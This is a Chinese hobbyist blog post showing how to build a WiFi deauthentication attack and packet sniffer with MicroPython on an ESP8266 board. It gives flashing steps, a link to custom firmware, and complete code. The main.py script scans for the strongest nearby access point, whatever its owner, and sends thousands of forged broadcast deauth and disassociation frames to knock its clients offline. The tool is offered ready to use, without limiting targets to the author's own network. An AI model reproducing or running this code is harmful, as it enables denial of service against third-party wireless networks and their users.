文档章节

MicroPython实现wifi干扰与抓包

bodasisiter
 bodasisiter
发布于 2017/08/16 17:37
字数 1094
阅读 34
收藏 1

  0x00前言

  之前做的WIFI攻击实验都是基于arduino环境开发的,最近想尝试一下使用micropython完成deautch(解除认证)攻击。本次开发板使用的还是TPYBoardv202(某宝上有卖,30元),因为它主要的功能就是支持micropython开发。

  0x01实现原理

  a)    通过查阅资料和arduino的源码分析,了解到实现攻击其实就是发送IEEE802.11协议解除认证包,根据MAC层帧格式发送自定义的虚假deautch数据包。

  b)    调用ESP8266SDK中wifi_send_pkt_freedom函数,发送攻击包。

  0x02攻击构思

  a)    程序一开始扫描附件的AP。

  b)    找到信号最强的AP,获取到他的MAC地址(bssid)和信道。

  c)    将TPYBoardv202切换到同攻击AP相同的信道。

  d)    使用攻击AP的MAC地址,组合deauth解除认证包发送。

  0x03编译烧写固件及程序源码

  1、    编译固件

  现有的micropython-esp8266固件中,并没有引出wifi_send_pkt_freedom函数,于是

  我自己动手编译了一次固件,地址:

  https://github.com/PakchoiFood/micropython-deauth

  大家可以自行下载烧写使用,如果有的小伙伴想自己编译修改固件的话,请参考:

  https://github.com/micropython/micropython/tree/master/esp8266

  需要注意:在编译esp8266-sdk时,注意版本必须是1.3.0版本,否则wifi_send_pkt_freedom函数会一直返回-1失败。

  下载后解压,文件如下:

  firmware.bin文件:micropython-esp8266生成的固件。

  增加的内容:

  setAttack函数

  参数:int类型(信道)

  功能:设置esp8266的信道

  send_pkt_freedom函数

  参数:bytes数组(定义的数据包)

  flash_download_tools_v3.3.6_win.rar:烧写固件的工具。

  MicroPythonFileUploader.rar:用于将程序下载到TPYBoardv202Flash的工具。

  main.py文件:程序源码文件,主要实现附件AP的扫描、数据包的组合和调用发送。

import time
import uos
import wireless


sta_if=wireless.attack(0)#0:STA 模式 
sta_if.active(True)
ap_list=sta_if.scan()
print(ap_list)
ssid=''
bssid=''#bssid:AP MAC address
channel=''#信道
_client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默认

def deauth(_ap,_client,type,reason):
    # 0 - 1   type, subtype c0: deauth (a0: disassociate)
    # 2 - 3   duration (SDK takes care of that)
    # 4 - 9   reciever (target)
    # 10 - 15 source (ap)
    # 16 - 21 BSSID (ap)
    # 22 - 23 fragment & squence number
    # 24 - 25 reason code (1 = unspecified reason)
    packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00, 0x00,0x01, 0x00])
    for i in range(0,6):
        packet[4 + i] =_client[i]
        packet[10 + i] = packet[16 + i] =_ap[i]
    #set type
    packet[0] = type;
    packet[24] = reason
    result=sta_if.send_pkt_freedom(packet)
    if result==0:
        time.sleep_ms(1)
        return True
    else:
        return False
    
if __name__=="__main__":
    max_rssid=0
    max_id=0
    num=0

    #获取信号最强的AP 进行攻击
    for i in ap_list:
        if max_rssid==0:
            max_rssid=i[3]#rssid
        else:
            if i[3]>max_rssid:
                max_rssid=i[3]
                max_id=num
        num+=1
    ssid=ap_list[max_id][0]
    bssid=ap_list[max_id][1]
    channel=ap_list[max_id][2]
    print('ssid:',ssid,'-bssid:',bssid)
    print('-channel:',channel,'-rssid:',max_rssid)
    sendNum=5000#攻击次数
   
    print('******************************')
    if sta_if.setAttack(channel):
        print('Set Attack OK')
        time.sleep_ms(100)
        print('---deauth runing-----')
        for i in range(0,sendNum):
            r_=deauth(bssid, _client, 0xC0, 0x01)
            if r_:
                
                deauth(bssid, _client, 0xA0, 0x01)
                deauth(_client, bssid, 0xC0, 0x01)
                deauth(_client, bssid, 0xA0, 0x01)
                time.sleep_ms(5)
            else:
                print('---deauth fail-------')
            time.sleep_ms(5000)

  sniffer文件夹下的main.py实现网络抓包功能。

import wireless
import time

#可以指定信道1~13
sniffer=wireless.sniffer(6)
#0:表示从信道1开始 定时切换信道
#sniffer=wireless.sniffer(0)

  烧写固件

  1、    TPYBoardv202使用microUSB数据线接入电脑。查看安装的usb转串的端口。打开电脑的设备管理器(这里是COM57)。

  2、    解压flash_download_tools_v3.3.6_win.rar,双击运行ESPFlashDownloadTool_v3.3.6.exe。

  3、选择firmware.bin固件文件,地址0x00000,其他参数根据下图设置。我的COM选择COM57,根据自己的实际端口选择,波特率选择115200。

  4、点击【START】,界面提示等待上电同步。按住板子上的FLASH键不松,同时按一下RST键复位上电。左侧空白区显示读取的MAC地址,状态显示下载中,此时松开按键即可。

  5、等待下载完毕,关闭软件退出。

  下载程序

  6、解压MicroPythonFileUploader.rar,双击运行MicroPythonFileUploader.exe。

  此软件需要.NETFramework4.2及以上版本,若打开失败,请安装.NETFramework后再使用。

  .NETFramework4.5下载地址:http://www.tpyboard.com/download/drive/174.html

  7、选择COM57,点击【Open】打开串口。

  8、点击右侧的文件夹图标的按钮,选择main.py文件。

  9、此时可以点击【Send】,将程序发送给TPYBoardv202。发送成功后,程序自动运行。

  10、接下来将sniffer下的main.py同样的是方式下载到板子里。(文件会覆盖)

  打开串口助手,就可以看到esp8266抓包的数据。

  

© 著作权归作者所有

共有 人打赏支持
bodasisiter
粉丝 14
博文 152
码字总数 137068
作品 0
潍坊
人生苦短,用 RT-Thread MicroPython 享受编程的乐趣

在 i.MX RT1050 EVK 开发板上实现这样的一个读取板载的 6 轴传感器信息和系统 CPU 利用率等信息,实时显示到网页中效果,你猜需要多少代码? 事实上 RT-Thread 的同事利用 RT-Thread MicroP...

RTThread物联网操作系统
05/02
0
0
MicroPython入门:能跑MicroPython开发板大盘点!

相信对于很多刚刚接触MicroPython的DIY创客来说,首先是被一些大神的作品吸引,然后有冲动自己动手,却发现入门很难,特别是面对各式各样的开发板不知如何选择。目前市面上关于MicroPython开...

bodasisiter
07/06
0
0
MicroPython新货上架【TPYBoard新品合集】你想要的好玩意儿全在这!

八月火力全开! TPYBoard一大波新品隆重上市! 一次次的研发、尝试 无数次的改进、优化 新品强势来袭 发烧友们期待已久的 STM32F407系列也已全新上线啦~ 1.STM32F407开发板 https://item.tao...

bodasisiter
昨天
0
0
[MicroPython]STM32F407开发板控制BMP180测量气压

1.实验目的 1. 学习在PC机系统中扩展简单I/O 接口的方法。 2. 学习BMP180测量气压的方法。 3. 学习F407 Micropython开发板 I2C接口的用法。 2.所需元器件 F407 Micropython开发板一块 BMP180...

bodasisiter
08/09
0
0
[MicroPython]F407控制DS3231读取时间、温度

1.实验目的 1. 学习在PC机系统中扩展简单I/O 接口的方法。 2. 学习硬件接线方法。 3. 学习F407Micropython开发板 I2C接口的用法。 2.所需元器件 F407 Micropython开发板一块 DS3231时钟模块一...

bodasisiter
08/17
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

Minifilter的动态安装、加载及卸载

MINIFILTER框架的文件系统过滤驱动,无法使用的CreateService和OpenService进行动态加载。 看了一下,使用Inf文件安装Minifilter驱动的方式是在注册表驱动服务项下比传统驱动多创建了Instanc...

simpower
12分钟前
0
0
idea新建springCloud项目(6)- Config Server使用

1.在IDEA新建springCloud项目-Config Server 修改版本,和之前建的eureka项目版本一致,修改完记得刷新: 删除掉不需要的文件: 2.把Config S 服务注册到eureka上去,配置git地址,启动项目 ...

monroeCode
18分钟前
3
0
大数据可视化项目开发总纲

第1章 开发文档总纲 1.1 开发工具清单 名称 版本 备注 Pentaho-bi server pentaho-server-ce-7.1 Pentaho Cde为其内置工具 Pentaho-prd pentaho-prd-ce-7.1 Pentaho Report Designer报表工具...

ZhangLG
18分钟前
1
0
pip安装超时问题

pip3 install --default-timeout=100 tensorflow 设置为100秒 参考: User Guide How to solve ReadTimeoutError: HTTPSConnectionPool(host='pypi.python.org', port=443) with pip?......

亚林瓜子
20分钟前
0
0
fragment 旋转时保持当前实例

设备旋转时保存Fragment的交互状态: setRetainInstance(true);

zdglf
22分钟前
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部